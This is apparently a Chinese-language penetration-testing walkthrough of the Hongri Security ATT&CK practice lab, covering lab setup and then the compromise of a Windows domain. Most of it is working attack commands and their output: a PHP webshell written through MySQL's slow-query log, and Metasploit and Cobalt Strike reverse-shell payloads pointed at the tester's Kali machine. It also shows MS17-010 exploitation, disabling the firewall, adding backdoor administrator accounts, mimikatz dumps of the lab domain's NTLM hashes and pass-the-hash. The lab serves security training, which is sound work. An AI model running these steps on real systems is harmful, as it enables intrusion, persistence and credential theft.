搭建

下载地址 :
百度网盘: https://pan.baidu.com/s/1nC6V8e_EuKfaLb2IuEbe7w&shfl=sharepset
密码: 【红日安全】您的下载密码为:n1u2。

下载完三个压缩包全部解压即可,打开里面的vmx虚拟机配置文件会自动打开VMware,初始密码是hongrisec@2019
winserver和win2k3显示密码过期重新设置一下即可
网络括扑图如下:

这个win7是边界服务器,需要配置两个网卡,一个外网一个内网
在网络适配器加一个网卡设置为自定义Vmnet1(仅主机模式),另一个网卡为NAT模式
image.png

这里需要修改虚拟网络编辑器的Vmnet1网卡的网段为192.168.52.x/24
image.png

winserver2008和win2k3的网络适配器也都选择这个自定义的Vmnet1

因为它里面已经给配置好域里面的三个机器的ip了,我们只需要设置好网段就行了

网络配置:

1
2
3
4
win7边界: 外网:192.168.213.138 内网:192.168.52.143
Windows server2008: 192.168.52.138
win2k3 metasploitable: 192.168.52.141
kali: 192.168.213.135或者后面换了电脑可能是192.168.128.129或者172.31.9.255

互相ping一下测试发现问题:
winserver2008和win2k3能互相ping通
win7能ping通winserver2008和win2k3和物理机
winserver2008和win2k3和物理机不能ping通win7

解决:
打开win7的高级安全Windows防火墙,启用这四个
Pasted image 20231124190004.png

此时可以发现winserver2008和win2k3和物理机都能ping通win7了
Pasted image 20231124190043.png
Pasted image 20231124190056.png

渗透

win7的C盘找到phpstudy启动一下服务,此时win11主机可以访问win7服务
Pasted image 20231124190358.png

信息收集

dirsearch 扫目录:
Pasted image 20231124190651.png

root/root弱口令进去后台,

getshell

尝试慢日志注入

1
SHOW VARIABLES like '%slow_query_log%';

Pasted image 20231124190758.png

1
2
3
set global slow_query_log=1;
SET GLOBAL slow_query_log_file='C:/phpStudy/WWW/zoe.php';
select "<?php eval($_POST['zoe'])?>" or sleep(11);

蚁剑连接
Pasted image 20231124191425.png

发现同目录下有yxcms,主页有管理员登录地址和管理员用户名和密码
Pasted image 20231124191647.png

进去之后也可以执行sql语句
Pasted image 20231124191701.png

上线cs

不过不用管,这个主页面的shell就是administrators权限,直接上传cs生成的后门就能上线cs
image.png
image.png
先设置回显时间:

1
sleep 1

内网信息收集

1
2
3
shell ipconfig
net view
根据ip信息推测内网网段是192.168.52.x/24

Pasted image 20231124194435.png

发现两台机器192.168.52.138和192.168.52.141,当前域名是god.org
执行命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
net view /domain 查询域列表 GOD

查询同域机器  net view
\\OWA
\\ROOT-TVI862UBEH
\\STU1

判断主域 net time /domain
Current time at \\owa.god.org is 2024/12/5 23:59:57


查询域用户 net user /domain
User accounts for \\owa.god.org

-------------------------------------------------------------------------------
Administrator Guest krbtgt
ligang liukaifeng01
The command completed with one or more errors.

cs执行net view

1
2
3
4
5
Server Name             IP Address                       Platform  Version  Type   Comment
----------- ---------- -------- ------- ---- -------
OWA 192.168.52.138 500 6.1 PDC
ROOT-TVI862UBEH 192.168.52.141 500 5.2
STU1 192.168.52.143 500 6.1

域:god.org

域内有三个用户:Administrator、ligang、liukaifeng01

域内三台主机:ROOT-TVI862UBEH(192.168.52.141)、STU1(win7)、OWA

域控:OWA(192.168.52.138)

win7内网ip:192.168.52.143

提权

getuid发现是admin,需要提权到system
第一种方法用cs自带的提权(svc-exe)即可成功提权,提权成功后发现会多生成一个一样的beacon信息,身份是system
image.png

第二种方法用systeminfo补丁来打

1
2
3
systeminfo > systeminfo.txt

python2 windows-exploit-suggester.py -d 2021-04-16-mssb.xls -i systeminfo.txt

image.png

这里随便找一个CVE都可以打,在msf里具体展现

运行下mimikatz,抓出当前机子(win7)的密码
image.png

其实这里admin用户直接运行mimikatz也能得到当前win7的机子密码
image.png
这里成功获取我的win7的改过的密码

cs->msf

新建一个监听器
Pasted image 20231124200508.png

这张图是以前的,ip需要设置为kali的ip:192.168.213.135
Pasted image 20231124211137.png

1
2
3
4
5
6
7
8
9
10
11
(1)msfconsole                    // 打开 MSF 工具

(2)use exploit/multi/handler // 设置 监听 模块.

(3)set payload windows/meterpreter/reverse_http // 设置 payload

(4)set lport 9999 // 设置一个端口(和上面的监听一样的端口)

(5)set lhost 0.0.0.0 // 设置本地的 IP 地址

(6)exploit // 进行测试

返回cs
Pasted image 20231124211430.png

此时msf收到meterpreter
Pasted image 20231124211449.png

此外我们也可以使用msf来联动cs:
msf生成木马:

1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.213.135 lport=4422 -f exe > bgxg.exe

1
2
3
4
5
6
7
8
9
10
11
(1)msfconsole

(2)use exploit/multi/handler

(3)set payload windows/meterpreter/reverse_tcp

(4)set lhost 192.168.213.135 # 本地 IP 地址

(5)set LPORT 4422 # 和后面一样的端口

(6)run

此时收到meterpreter >

也可以把msf的meterpreter转移到cs

msf->cs

cs监听器保持这样
Pasted image 20231126152508.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
(1)background                // 挂起 会话.

(2)use exploit/windows/local/payload_inject

(3)set payload windows/meterpreter/reverse_http

(4)set lhost 172.31.9.255 //设置 CS 服务端的 IP 地址.

(5)set lport 8787 //设置 CS 服务端的 监听的端口(刚刚上面创建的端口号一样[CS的])

(6)set DisablePayloadHandler True

(7)set PrependMigrate True

(8)sessions -l //查看 会话 是多少则设置多少

(9)set session 1 [一般是 1(上面查看的结果)]

(10)exploit // 进行 测试.

此时成功转到cs

搭建隧道

这里用的chisel
上传chisel.exe
image.png

服务端

1
./chisel server -p 6666 --reverse

win7

1
chisel.exe client 192.168.213.135:6666 R:socks

这里运行失败了,报错无法找到一个dll,应该是系统的问题,npc那些都不行
这里用autoroute模块

MSF 的 autoroute 模块是 MSF 框架中自带的一个路由转发功能,实现过程是 MSF 框架在已经获取的 Meterpreter Shell 的基础上添加一条去往“内网”的路由,直接使用 MSF 去访问原本不能直接访问的内网资源,只要路由可达我们既可使用 MSF 来进行探测了。

1
run post/multi/manage/autoroute

image.png

此时添加成功

1
run autoroute -p

查看路由
image.png

使用MSF开启socks代理

1
2
3
4
5
use auxiliary/server/socks_proxy
set version 4a
set srvhost 0.0.0.0
set srvport 1080
run

通过jobs查看代理设置成功

image.png

1
vim /etc/proxychains4.conf

image.png

使用 MSF apr模块探测内网存活主机

1
2
3
4
use post/windows/gather/arp_scanner
set RHOSTS 192.168.52.0/24
set SESSION 1
exploit


使用proxychains探测内网端口开放情况

1
proxychains nmap -sV 192.168.52.141

image.png

发现445端口

使用永恒之蓝扫描模块查看是否存在漏洞

1
2
3
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.52.141
exploit

横向移动

win3k3

开打

1
2
3
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.52.141
run

image.png

发现需要修改下模块和target
换了exploit/windows/smb/ms17_010_psexec也不行,最后只能用auxiliary/admin/smb/ms17_010_command 模块执行单步命令

1
2
3
4
use auxiliary/admin/smb/ms17_010_command 
set rhosts 192.168.52.141
set command whoami
run

image.png

发现是system权限,尝试加入用户

开启3389端口:
原命令

1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

1
set command REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

Pasted image 20231126000306.png

1
2
set command net user jmx qwer1234!@#$ /add
set command net localgroup administrators jmx /add

这里一开始密码设置的1234,远程桌面没连上去,执行了net user发现用户没加上
应该是密码复杂度有要求

然后换成qwer1234!@#$成功写进去了,远程登陆域选择本地计算机的域
Pasted image 20241206002313.png

另一种是用telnet横向移动:
这里选择用telnet登录
开启telnet服务:

1
2
set COMMAND sc config tlntsvr start= auto  
set COMMAND net start telnet

image.png

查看telnet是否成功开启

1
set COMMAND netstat -an

1
2
3
4
5
6
7
set command net user hack1 admin.123 /add

创建telnetclients组
net localgroup telnetclients /add

将hack1加入telnetclients组
set command net localgroup telnetclients hack1 /add

使用代理telnet直接使用创建的用户名登录 成功拿下服务器

1
proxychains telnet 192.168.52.141

image.png

域控

最终的目的是打域控: 192.168.52.138
通过端口扫描发现他也有永恒之蓝漏洞
直接开打

1
2
3
4
use auxiliary/admin/smb/ms17_010_command
set command whoami
set rhosts 192.168.52.138
run

然后和打Windows7一样开启远程端口,写后门用户,但是这里需要注意个问题,防火墙默认是不允许远程连接服务通过的,所以我们需要在meterpreter里关闭防火墙

1
2
shell
set command "netsh advfirewall set allprofiles state off"

然后操作和之前一样

1
2
3
4
5
6
7
8
9
10
11
set command REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

set command net user yk yk123!@# /add
set command net localgroup administrators yk /add

set command net user yyk yk123!@#456 /add
set command net localgroup administrators yyk /add

net user
net user /domain
此时可以发现用户yk和yyk写到域GOD里面

此时远程桌面连接成功,但是前提是必须只能登陆一个用户
Pasted image 20241206005639.png

登陆的用户名需要写GOD\yk,因为默认是OWA域,无法登陆成功

然后我们使用正向shell可以弹一个meterpreter

1
2
3
4
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.52.138
run

Pasted image 20241206010357.png

抓哈希

1
2
load kiwi
kiwi_cmd "sekurlsa::logonpasswords"

这里报错: ERROR kuhl_m_sekurlsa_acquireLSA ; mimikatz x86 cannot access x64 process

执行getpid: Current pid: 1444
执行ps,寻找一个x64进程,记住进程号
Pasted image 20241206011131.png

1
migrate 2288

再执行

1
kiwi_cmd "sekurlsa::logonpasswords"

当登录用户是新建的yk时
Pasted image 20241206011303.png

当登陆用户是liukaifeng时
Pasted image 20241206012750.png

获取域内所有成员的ntlm:

1
kiwi_cmd "lsadump::lsa /patch"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
RID  : 000001f4 (500)
User : Administrator
LM :
NTLM : e25bbe456dd96a635f4434511788e502

RID : 000001f5 (501)
User : Guest
LM :
NTLM :

RID : 000001f6 (502)
User : krbtgt
LM :
NTLM : 58e91a5ac358d86513ab224312314061

RID : 000003e8 (1000)
User : liukaifeng01
LM :
NTLM : e25bbe456dd96a635f4434511788e502

RID : 00000452 (1106)
User : ligang
LM :
NTLM : 1e3d22f88dfd250c9312d21686c60f41

RID : 00000456 (1110)
User : Yokan
LM :
NTLM : df51f5925bd9da6d00af6a69615197fc

RID : 00000459 (1113)
User : yk
LM :
NTLM : fca2ca87ff6578acc7349d65ca2cbb6f

RID : 0000045a (1114)
User : yyk
LM :
NTLM : 47d0b9eaf3f45ff9b13347fed27cf144

RID : 000003e9 (1001)
User : OWA$
LM :
NTLM : d425673b5d53908e6d9482581d115600

RID : 00000450 (1104)
User : ROOT-TVI862UBEH$
LM :
NTLM : 66c2600ceac277440b024a222bb37b79

RID : 00000451 (1105)
User : STU1$
LM :
NTLM : 9e1cedc81b7001208afa36021ae8cb63

RID : 00000453 (1107)
User : DEV1$
LM :
NTLM : bed18e5b9d13bb384a3041a10d43c01b

pth

1
kiwi_cmd "Sekurlsa::pth /user:liukaifeng01 /domain:god.org /ntlm:e25bbe456dd96a635f4434511788e502"

需要谁就改谁

1
dir \\ip\c$

验证

这里用win7的cs的beacon来验证

1
mimikatz Sekurlsa::pth /user:Administrator /domain:god.org /ntlm:e25bbe456dd96a635f4434511788e502

1
2
dir \\192.168.52.138\c$
dir \\192.168.52.141\c$

参考